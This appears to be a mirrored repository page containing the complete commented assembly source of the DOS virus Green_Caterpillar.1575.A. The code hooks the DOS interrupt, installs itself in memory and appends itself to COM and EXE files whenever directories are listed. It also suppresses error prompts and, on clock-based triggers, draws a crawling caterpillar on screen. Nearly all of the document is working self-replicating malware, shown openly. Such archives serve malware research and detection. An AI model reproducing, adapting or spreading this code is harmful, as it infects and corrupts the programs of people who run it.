mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
930 lines
16 KiB
NASM
930 lines
16 KiB
NASM
; Green_Caterpillar.1575.A
|
||
; TASM /M
|
||
|
||
|
||
seg000 segment byte public 'CODE'
|
||
assume cs:seg000
|
||
org 100h
|
||
assume es:nothing, ss:nothing, ds:seg000
|
||
|
||
start proc near
|
||
jmp short RealStart
|
||
db 90h
|
||
Int21Ofs dw 0
|
||
Int21Seg dw 0
|
||
Int1COfs dw 0
|
||
Int1CSeg dw 0
|
||
exeHeader dw 20CDh
|
||
exeMOD dw 9090h
|
||
exeDIV dw 0
|
||
exeNumSeg dw 0
|
||
exeHeadSize dw 0
|
||
exeMinPara dw 0
|
||
exeMaxPara dw 0
|
||
exeSS dw 0
|
||
exeSP dw 0
|
||
exeCheckSum dw 0
|
||
exeIP dw 0
|
||
exeCS dw 0
|
||
StartCS dw 0
|
||
StartIP dw 0
|
||
FileSizeHW dw 0
|
||
FileSizeLW dw 0
|
||
StoreSS dw 0
|
||
DTAOffset dw 0
|
||
DTASegment dw 0
|
||
StartSS dw 0
|
||
StoreBP dw 0
|
||
StoreES dw 0
|
||
Int24Seg dw 0
|
||
Int24Ofs dw 0
|
||
GenCounter db 16
|
||
byte_0_13C db 7, 57h, 75h, 2, 5Ch, 7, 70h, 0, 16h, 0, 0BFh, 0Bh, 5Ch, 7, 70h, 0
|
||
|
||
RealStart:
|
||
push es
|
||
push ds
|
||
mov ax, es
|
||
push cs
|
||
pop ds ; DS = CS
|
||
push cs
|
||
pop es ; ES = CS
|
||
assume es:seg000
|
||
mov StoreES, ax
|
||
mov ax, ss
|
||
mov StoreSS, ax
|
||
mov al, 2
|
||
out 20h, al ; Interrupt controller, 8259A.
|
||
cld
|
||
xor ax, ax
|
||
mov ds, ax ; DS points to IVT
|
||
assume ds:nothing
|
||
xor si, si
|
||
mov di, 13Ch
|
||
mov cx, 16
|
||
repne movsb
|
||
push ds
|
||
pop ss ; SS = DS
|
||
assume ss:nothing
|
||
mov bp, 8
|
||
xchg bp, sp
|
||
call near ptr sub_0_1C5
|
||
jmp StoreFilename
|
||
start endp
|
||
|
||
FixupInts:
|
||
call GetInt24Vecs
|
||
call CheckInfection
|
||
jz AlreadyInf ; Infected Already? Then JMP.
|
||
mov al, ds:FileType
|
||
push ax
|
||
call InfectCOM
|
||
pop ax
|
||
mov ds:FileType, al
|
||
jmp short RestoreFile
|
||
nop
|
||
|
||
AlreadyInf:
|
||
call GetIntVectors
|
||
call CheckForInstall
|
||
cmp ds:FileType, 0 ; No File Type?
|
||
jnz RestoreFile ; No? Then JMP.
|
||
mov ax, 4C00h
|
||
int 21h ; Exit To DOS
|
||
|
||
RestoreFile: ; COM File?
|
||
cmp ds:FileType, 'C'
|
||
jnz RestoreEXE ; No? Then JMP.
|
||
|
||
RestoreCOM:
|
||
pop ds
|
||
assume ds:seg000
|
||
pop es
|
||
assume es:nothing
|
||
push cs
|
||
pop ds ; DS = CS
|
||
pop es
|
||
push es
|
||
mov di, offset start
|
||
mov si, offset exeHeader
|
||
mov cx, 12
|
||
repne movsb ; Restore Original 12 Bytes
|
||
push es
|
||
pop ds ; DS = ES
|
||
mov ax, offset start
|
||
push ax
|
||
xor ax, ax
|
||
retf ; Return to Original COM Program
|
||
|
||
sub_0_1C5 proc far
|
||
mov si, 6
|
||
lodsw
|
||
cmp ax, 192h
|
||
jz RestoreCOM
|
||
cmp ax, 179h
|
||
jnz loc_0_1D6
|
||
jmp loc_0_27F
|
||
|
||
loc_0_1D6:
|
||
cmp ax, 1DCh
|
||
jz RestoreEXE
|
||
retn
|
||
|
||
RestoreEXE:
|
||
pop ds
|
||
pop es
|
||
mov bx, cs:exeSS
|
||
sub bx, cs:StartSS
|
||
mov ax, cs
|
||
sub ax, bx
|
||
mov ss, ax
|
||
assume ss:nothing
|
||
mov bp, cs:StoreBP
|
||
xchg bp, sp
|
||
mov bx, cs:exeCS
|
||
sub bx, cs:StartCS
|
||
mov ax, cs
|
||
sub ax, bx
|
||
push ax
|
||
mov ax, cs:StartIP
|
||
push ax
|
||
retf
|
||
sub_0_1C5 endp
|
||
|
||
Caterpillar db '#'
|
||
db 1Ah
|
||
db '<'
|
||
db '#'
|
||
db '/'
|
||
db '-'
|
||
db '-'
|
||
db '!'
|
||
db '.'
|
||
db '$'
|
||
db 0Eh
|
||
db '#'
|
||
db '/'
|
||
db '-'
|
||
db '<27>'
|
||
FileName db 'A:10KBYTE.EXE',0
|
||
db 0 ;
|
||
db 24h ; $
|
||
db 24h ; $
|
||
db 24h ; $
|
||
db 24h ; $
|
||
db 24h ; $
|
||
|
||
CheckInfection proc near
|
||
mov ax, 3D02h
|
||
mov dx, offset FileName
|
||
int 21h ; Open File
|
||
jnb CheckOpened ; No problems? Then JMP.
|
||
clc
|
||
retn
|
||
|
||
CheckOpened:
|
||
mov StoreSS, ax
|
||
mov dx, offset NewInt24
|
||
mov ax, 2524h
|
||
int 21h ; Set New Int 24h Vectors
|
||
mov ax, 4202h
|
||
mov bx, StoreSS
|
||
mov cx, 0FFFFh
|
||
mov dx, 0FFFEh
|
||
int 21h ; Move Pointer to End of File - 1
|
||
mov dx, offset CheckBytes
|
||
mov ah, 3Fh
|
||
mov bx, StoreSS
|
||
mov cx, 2
|
||
int 21h ; Read In 2 Bytes
|
||
mov ah, 3Eh
|
||
int 21h ; Close File
|
||
push ds
|
||
mov dx, Int24Ofs
|
||
mov ax, Int24Seg
|
||
mov ds, ax
|
||
mov ax, 2524h
|
||
int 21h ; Restore Int 24h Vectors
|
||
pop ds
|
||
cmp CheckBytes, 0A0Ch ; Infected Already?
|
||
clc
|
||
retn
|
||
CheckInfection endp
|
||
|
||
CheckBytes dw 0
|
||
|
||
loc_0_27F:
|
||
cmp ax, 22Dh
|
||
jz InfectCOM
|
||
push ds
|
||
pop es ; ES = DS
|
||
assume es:seg000
|
||
push cs
|
||
pop ds ; DS = CS
|
||
mov ax, StoreSS
|
||
mov ss, ax ; SS = SS
|
||
assume ss:nothing
|
||
xchg bp, sp
|
||
mov si, offset byte_0_13C
|
||
mov di, 0
|
||
mov cx, 16
|
||
cld
|
||
repne movsb
|
||
jmp FixupInts
|
||
|
||
InfectCOM proc near
|
||
mov al, 'C'
|
||
mov FileType, al
|
||
mov al, 8
|
||
out 70h, al ; CMOS Memory:
|
||
; used by real-time clock
|
||
in al, 71h ; CMOS Memory
|
||
mov GenCounter, al
|
||
mov dx, offset FileName
|
||
mov ax, 3D02h
|
||
int 21h ; Open File
|
||
jnb COMOpened ; No problems? Then JMP.
|
||
retn
|
||
|
||
COMOpened: ; Store Handle
|
||
mov StoreSS, ax
|
||
mov dx, offset exeHeader
|
||
mov bx, StoreSS
|
||
mov cx, 12
|
||
mov ah, 3Fh
|
||
int 21h ; Read In 12 Bytes From File
|
||
mov ax, 4202h
|
||
xor cx, cx
|
||
xor dx, dx
|
||
int 21h ; Move Pointer to End of File
|
||
push ax
|
||
add ax, 10h
|
||
and ax, 0FFF0h
|
||
push ax
|
||
shr ax, 1
|
||
shr ax, 1
|
||
shr ax, 1
|
||
shr ax, 1 ; Fix For Segment Size
|
||
mov di, offset VirusFixedSeg
|
||
stosw ; Store Segment Value
|
||
pop ax
|
||
pop bx
|
||
sub ax, bx
|
||
mov cx, 1575
|
||
add cx, ax
|
||
mov dx, offset start
|
||
sub dx, ax
|
||
mov bx, StoreSS
|
||
mov ah, 40h
|
||
int 21h ; Write Virus to File
|
||
mov ax, 4200h
|
||
xor cx, cx
|
||
xor dx, dx
|
||
int 21h ; Move Pointer to Beginning of File
|
||
mov ah, 40h
|
||
mov bx, StoreSS
|
||
mov cx, 12
|
||
mov dx, offset COMHeader
|
||
int 21h ; Write COM Header to File
|
||
mov ah, 3Eh
|
||
mov bx, StoreSS
|
||
int 21h ; Close File
|
||
retn
|
||
InfectCOM endp
|
||
|
||
COMHeader:
|
||
push cs
|
||
mov ax, cs
|
||
PUSHOffset db 5
|
||
VirusFixedSeg dw 0 ; PUSH Fixed Segment
|
||
push ax
|
||
mov ax, offset start
|
||
push ax
|
||
retf
|
||
|
||
InfectEXE proc near
|
||
mov al, 'E'
|
||
mov FileType, al
|
||
mov al, 8
|
||
out 70h, al ; CMOS Memory:
|
||
; used by real-time clock
|
||
in al, 71h ; CMOS Memory
|
||
mov GenCounter, al
|
||
mov dx, offset FileName
|
||
mov ax, 3D02h
|
||
int 21h ; Open EXE File
|
||
jnb EXEOpened ; No problems? Then JMP.
|
||
retn
|
||
|
||
EXEOpened:
|
||
mov StoreSS, ax
|
||
mov dx, offset exeHeader
|
||
mov bx, StoreSS
|
||
mov cx, 24
|
||
mov ah, 3Fh
|
||
int 21h ; Read In 24 Bytes
|
||
mov ax, 4202h
|
||
mov cx, 0
|
||
mov dx, 0
|
||
int 21h ; Move pointer to End of File
|
||
push ax
|
||
add ax, 10h
|
||
adc dx, 0
|
||
and ax, 0FFF0h
|
||
mov FileSizeHW, dx
|
||
mov FileSizeLW, ax
|
||
mov cx, 1831
|
||
sub cx, 100h
|
||
add ax, cx
|
||
adc dx, 0
|
||
mov cx, 512
|
||
div cx
|
||
inc ax
|
||
mov exeDIV, ax
|
||
mov exeMOD, dx
|
||
mov ax, exeCS
|
||
mov StartCS, ax
|
||
mov ax, exeIP
|
||
mov StartIP, ax
|
||
mov ax, exeSS
|
||
mov StartSS, ax
|
||
mov ax, exeSP
|
||
mov StoreBP, ax
|
||
mov dx, FileSizeHW
|
||
mov ax, FileSizeLW
|
||
mov cx, 10h
|
||
div cx
|
||
sub ax, 10h
|
||
sub ax, exeHeadSize
|
||
mov exeCS, ax
|
||
mov exeSS, ax
|
||
mov exeIP, 100h
|
||
mov exeSP, 100h
|
||
mov ax, 4200h
|
||
xor cx, cx
|
||
mov dx, 2
|
||
int 21h ; Move Pointer to Beginning + 2
|
||
mov dx, offset exeMOD
|
||
mov bx, StoreSS
|
||
mov cx, 22
|
||
mov ah, 40h
|
||
int 21h ; Write New EXE Header
|
||
mov ax, 4202h
|
||
xor cx, cx
|
||
xor dx, dx
|
||
int 21h ; Move Pointer to End Of File
|
||
mov dx, 100h
|
||
mov ax, FileSizeLW
|
||
pop cx
|
||
sub ax, cx
|
||
sub dx, ax
|
||
mov cx, 1831
|
||
add cx, ax
|
||
sub cx, 100h
|
||
mov ah, 40h
|
||
int 21h ; Write Virus To File
|
||
mov ah, 3Eh
|
||
int 21h ; Close File
|
||
retn
|
||
InfectEXE endp
|
||
|
||
FindFirstFile:
|
||
push cx
|
||
mov cx, 0
|
||
mov ah, 4Eh
|
||
int 21h ; Find First File
|
||
pop cx
|
||
retn
|
||
|
||
GetIntVectors proc near
|
||
push es
|
||
mov ax, 351Ch
|
||
int 21h ; Get Int 1Ch Vectors
|
||
mov cs:Int1COfs, bx
|
||
mov cs:Int1CSeg, es
|
||
mov ax, 3521h
|
||
int 21h ; Get Int 21h Vectors
|
||
push es
|
||
pop ax
|
||
mov cs:Int21Seg, ax
|
||
mov cs:Int21Ofs, bx
|
||
pop es
|
||
assume es:nothing
|
||
retn
|
||
GetIntVectors endp
|
||
|
||
CheckForInstall proc near
|
||
push ax
|
||
push es
|
||
push ds
|
||
xor ax, ax
|
||
mov es, ax ; ES points to IVT
|
||
assume es:nothing
|
||
mov si, 86h
|
||
mov ax, es:[si] ; Get Int 21h Segment
|
||
mov ds, ax
|
||
mov si, offset InfMarker
|
||
cmp word ptr [si], 0A0Ch ; In Memory Already?
|
||
jnz InstallVirus ; No? Then JMP.
|
||
push ds
|
||
pop ax
|
||
call sub_0_601
|
||
pop ds
|
||
pop es
|
||
assume es:nothing
|
||
pop ax
|
||
retn
|
||
|
||
InstallVirus:
|
||
push cs
|
||
pop ds
|
||
mov ax, StoreES
|
||
dec ax
|
||
mov es, ax ; ES points to MCB
|
||
cmp byte ptr es:0, 'Z' ; Last MCB?
|
||
jz GotLastMCB ; Yes? Then JMP.
|
||
jmp short NotLastMCB
|
||
nop
|
||
|
||
GotLastMCB: ; Get Amount of Memory in MCB
|
||
mov ax, es:3
|
||
CheckForInstall endp
|
||
|
||
mov cx, 1847
|
||
shr cx, 1
|
||
shr cx, 1
|
||
shr cx, 1
|
||
shr cx, 1 ; Calculate Paragraphs
|
||
sub ax, cx ; Subtract 1847 Bytes
|
||
jb NotLastMCB ; Enough Memory? No? Then JMP.
|
||
mov es:3, ax ; Set New Amount of Memory in MCB
|
||
sub es:12h, cx ; Set Next Segment Value
|
||
push cs
|
||
pop ds ; DS = CS
|
||
mov ax, es:12h
|
||
push ax
|
||
pop es ; ES points to Virus Segment
|
||
mov si, offset start
|
||
push si
|
||
pop di
|
||
mov cx, 1575
|
||
cld
|
||
repne movsb ; Copy Virus Into Memory
|
||
push es
|
||
sub ax, ax
|
||
mov es, ax ; ES points to IVT
|
||
assume es:nothing
|
||
mov si, 84h
|
||
mov dx, offset NewInt21
|
||
mov es:[si], dx ; Set New Int 21h Offset
|
||
inc si
|
||
inc si
|
||
pop ax
|
||
mov es:[si], ax ; Set New Int 21h Segment
|
||
|
||
NotLastMCB:
|
||
pop ds
|
||
pop es
|
||
assume es:nothing
|
||
pop ax
|
||
retn
|
||
|
||
NewInt21: ; Virus Calling?
|
||
cmp al, 57h
|
||
jnz CheckForDTACall ; No? Then JMP.
|
||
jmp short JMPInt21
|
||
nop
|
||
|
||
CheckForDTACall: ; Set New DTA Segment/Offset
|
||
cmp ah, 1Ah
|
||
jnz CheckFindFCB ; No? Then JMP.
|
||
call StoreDTAVecs
|
||
jmp short JMPInt21
|
||
nop
|
||
|
||
CheckFindFCB: ; Find First File (FCB)?
|
||
cmp ah, 11h
|
||
jnz CheckFindNextMC ; No? Then JMP.
|
||
call FindFirstFCB
|
||
iret
|
||
|
||
CheckFindNextMC: ; Find Next File (FCB)?
|
||
cmp ah, 12h
|
||
jnz JMPInt21 ; No? Then JMP.
|
||
call FindNextFCB
|
||
iret
|
||
|
||
JMPInt21:
|
||
jmp dword ptr cs:Int21Ofs
|
||
|
||
FindFirstFCB proc near
|
||
mov al, 57h ; Virus Calling
|
||
int 21h ; Find First File (FCB)
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push bx
|
||
push bp
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds ; DS = CS
|
||
push cs
|
||
pop es ; ES = CS
|
||
assume es:seg000
|
||
mov cs:InfectCount, 0
|
||
nop
|
||
call GetFilename
|
||
jnz GotBadFile
|
||
call CheckInfection
|
||
jz GotBadFile
|
||
call DoInfection
|
||
dec InfectCount
|
||
|
||
GotBadFile:
|
||
pop es
|
||
assume es:nothing
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
FindFirstFCB endp
|
||
|
||
GetFilename proc near
|
||
push cs
|
||
pop es ; ES = CS
|
||
assume es:seg000
|
||
push cs
|
||
pop es ; ES = CS
|
||
cld
|
||
call StoreFilename
|
||
jnb CheckExt ; No problems? Then JMP.
|
||
cmp di, 0
|
||
retn
|
||
|
||
CheckExt:
|
||
mov di, offset FileName
|
||
mov al, '.'
|
||
mov cx, 11
|
||
repne scasb ; Scan for File Extension
|
||
cmp word ptr [di], 'OC' ; COM File?
|
||
jnz CheckForEXE ; No? Then JMP.
|
||
cmp byte ptr [di+2], 'M' ; COM File?
|
||
jnz CheckForEXE ; No? Then JMP.
|
||
mov FileType, 'C'
|
||
nop
|
||
retn
|
||
|
||
CheckForEXE: ; EXE File?
|
||
cmp word ptr [di], 'XE'
|
||
jnz BadFileType ; No? Then JMP.
|
||
cmp byte ptr [di+2], 'E' ; EXE File?
|
||
jnz BadFileType ; NO? Then JMP.
|
||
mov FileType, 'E'
|
||
nop
|
||
|
||
BadFileType:
|
||
retn
|
||
GetFilename endp
|
||
|
||
StoreFilename proc near
|
||
push ds
|
||
mov si, cs:DTAOffset
|
||
mov ax, cs:DTASegment
|
||
mov ds, ax
|
||
mov di, offset FileName
|
||
lodsb
|
||
cmp al, 0FFh ; Extended FCB?
|
||
jnz RegularFCB ; No? Then JMP.
|
||
add si, 6 ; Add For Extended FCB
|
||
lodsb ; Get First Character
|
||
jmp short FileOnDrive
|
||
nop
|
||
|
||
RegularFCB: ; Is this a file on a drive?
|
||
cmp al, 5
|
||
jb FileOnDrive ; Yes? Then JMP.
|
||
pop ds
|
||
stc
|
||
retn
|
||
|
||
FileOnDrive:
|
||
mov cx, 11
|
||
cmp al, 0 ; End of Filename?
|
||
jz EndOfName ; Yes? Then JMP.
|
||
add al, 40h ; Capitalize Drive Letter
|
||
stosb ; Store Drive Letter
|
||
mov al, ':'
|
||
stosb
|
||
|
||
EndOfName:
|
||
lodsb
|
||
cmp al, 20h ; End of Filename?
|
||
jz EndOFFilename ; Yes? Then JMP.
|
||
stosb ; Store Character
|
||
jmp short GetNextChar
|
||
nop
|
||
|
||
EndOFFilename:
|
||
cmp byte ptr es:[di-1], '.'
|
||
jz GetNextChar
|
||
mov al, '.'
|
||
stosb ; Store EXTENSION Marker
|
||
|
||
GetNextChar:
|
||
loop EndOfName
|
||
mov al, 0
|
||
stosb ; Store End of Filename
|
||
pop ds
|
||
clc
|
||
retn
|
||
StoreFilename endp
|
||
|
||
FindNextFCB proc near
|
||
mov al, 57h ; Virus Call
|
||
int 21h ; Find Next File (FCB)
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push bx
|
||
push bp
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds ; DS = CS
|
||
push cs
|
||
pop es ; ES = CS
|
||
cmp cs:InfectCount, 0 ; Infected one yet?
|
||
jz CheckFile ; No? Then JMP.
|
||
jmp short BadFile
|
||
nop
|
||
|
||
CheckFile:
|
||
call GetFilename
|
||
jnz BadFile ; Bad? Then JMP.
|
||
call CheckInfection
|
||
jz BadFile ; Infected Already? Then JMP.
|
||
call DoInfection
|
||
dec InfectCount
|
||
pop es
|
||
assume es:nothing
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
|
||
BadFile:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
FindNextFCB endp
|
||
|
||
InfectCount db 0
|
||
|
||
StoreDTAVecs proc near
|
||
push ax
|
||
push ds
|
||
pop ax
|
||
mov cs:DTASegment, ax
|
||
mov cs:DTAOffset, dx
|
||
pop ax
|
||
retn
|
||
StoreDTAVecs endp
|
||
|
||
GetInt24Vecs proc near
|
||
push cs
|
||
mov al, 0
|
||
out 20h, al ; Interrupt controller, 8259A.
|
||
mov ax, 3524h
|
||
int 21h ; Get Int 24h Vectors
|
||
mov Int24Ofs, bx
|
||
mov bx, es
|
||
mov Int24Seg, bx
|
||
pop es
|
||
mov si, offset Caterpillar
|
||
mov di, offset FileName
|
||
mov cx, 15
|
||
|
||
loc_0_5FA:
|
||
lodsb
|
||
add al, 20h
|
||
stosb
|
||
loop loc_0_5FA
|
||
retn
|
||
GetInt24Vecs endp
|
||
|
||
sub_0_601 proc near
|
||
push ax
|
||
push cs
|
||
pop ds ; DS = CS
|
||
push cs
|
||
pop es ; ES = CS
|
||
assume es:seg000
|
||
mov bl, GenCounter
|
||
cmp bl, 0Ch
|
||
ja loc_0_648
|
||
cmp bl, 0
|
||
jz loc_0_648
|
||
mov al, 8
|
||
out 70h, al ; CMOS Memory:
|
||
; used by real-time clock
|
||
in al, 71h ; CMOS Memory
|
||
cmp al, 0Ch
|
||
ja loc_0_648
|
||
cmp al, 0
|
||
jz loc_0_648
|
||
cmp al, bl
|
||
jz loc_0_648
|
||
inc bl
|
||
call CheckCounter
|
||
cmp al, bl
|
||
jz loc_0_648
|
||
inc bl
|
||
call CheckCounter
|
||
cmp al, bl
|
||
jz loc_0_648
|
||
pop ds
|
||
call FillWithSpace
|
||
push cs
|
||
pop ds ; DS = CS
|
||
retn
|
||
sub_0_601 endp
|
||
|
||
CheckCounter proc near
|
||
cmp bl, 12 ; Counter Below or Equal to 12?
|
||
jbe Below12 ; Yes? Then JMP.
|
||
sub bl, 12 ; Reset Counter
|
||
|
||
Below12:
|
||
retn
|
||
CheckCounter endp
|
||
|
||
loc_0_648:
|
||
pop ax
|
||
retn
|
||
|
||
DoInfection proc near
|
||
mov dx, offset NewInt24
|
||
mov ax, 2524h
|
||
int 21h ; Set New Int 24h Vectors
|
||
cmp FileType, 'C' ; COM File?
|
||
jnz DoInfectEXE ; No? Then JMP.
|
||
call InfectCOM
|
||
jmp short InfectedFile
|
||
nop
|
||
|
||
DoInfectEXE:
|
||
call InfectEXE
|
||
|
||
InfectedFile:
|
||
push ds
|
||
mov dx, Int24Ofs
|
||
mov ax, Int24Seg
|
||
mov ds, ax
|
||
mov ax, 2524h
|
||
int 21h ; Restore Int 24h
|
||
pop ds
|
||
retn
|
||
DoInfection endp
|
||
|
||
NewInt24:
|
||
mov al, 3
|
||
iret
|
||
|
||
FillWithSpace proc near
|
||
mov dx, offset NewInt1C
|
||
mov ax, 251Ch
|
||
int 21h ; Set New Int 1Ch
|
||
mov byte ptr NewInt1C, 90h
|
||
nop
|
||
mov ax, 0B800h
|
||
mov es, ax ; ES points to Video Memory
|
||
assume es:nothing
|
||
mov di, 0FA0h
|
||
mov ax, 720h
|
||
mov cx, 11
|
||
repne stosw
|
||
push cs
|
||
pop es ; ES = CS
|
||
assume es:seg000
|
||
retn
|
||
FillWithSpace endp
|
||
|
||
db 0 ;
|
||
db 0 ;
|
||
byte_0_699 db 0
|
||
word_0_69A dw 720h
|
||
byte_0_69C db 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
|
||
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h, 0Eh
|
||
byte_0_6AE db 0EEh
|
||
db 0Ch ;
|
||
|
||
NewInt1C:
|
||
nop
|
||
sti
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push bx
|
||
push bp
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds ; DS = CS
|
||
jmp short loc_0_6CA
|
||
nop
|
||
|
||
loc_0_6C0:
|
||
pop es
|
||
assume es:nothing
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
iret
|
||
|
||
loc_0_6CA:
|
||
mov ax, 0B800h
|
||
mov es, ax ; ES points to Video Memory
|
||
assume es:nothing
|
||
call sub_0_6FD
|
||
mov si, offset word_0_69A
|
||
mov cx, 22
|
||
repne movsb
|
||
cmp byte_0_6AE, 0EEh
|
||
jz loc_0_6E9
|
||
mov byte_0_6AE, 0EEh
|
||
jmp short loc_0_6EE
|
||
nop
|
||
|
||
loc_0_6E9:
|
||
mov byte_0_6AE, 0F0h
|
||
|
||
loc_0_6EE:
|
||
mov ax, es:[di]
|
||
mov ah, 0Eh
|
||
mov word_0_69A, ax
|
||
mov byte_0_699, 0
|
||
jmp short loc_0_6C0
|
||
|
||
sub_0_6FD proc near
|
||
mov di, 0
|
||
|
||
loc_0_700:
|
||
mov si, offset byte_0_69C
|
||
push di
|
||
mov cx, 18
|
||
cld
|
||
rep cmpsb
|
||
pop di
|
||
jz loc_0_718
|
||
inc di
|
||
inc di
|
||
cmp di, 4000
|
||
jnz loc_0_700
|
||
mov di, 0
|
||
|
||
loc_0_718:
|
||
cmp di, 3998
|
||
jnz locret_0_723
|
||
mov byte ptr NewInt1C, 0CFh
|
||
|
||
locret_0_723:
|
||
retn
|
||
sub_0_6FD endp
|
||
|
||
FileType db 0 ; E = EXE File C = COM File
|
||
; 0 = 1st Generation
|
||
InfMarker dw 0A0Ch
|
||
seg000 ends
|
||
|
||
|
||
end start
|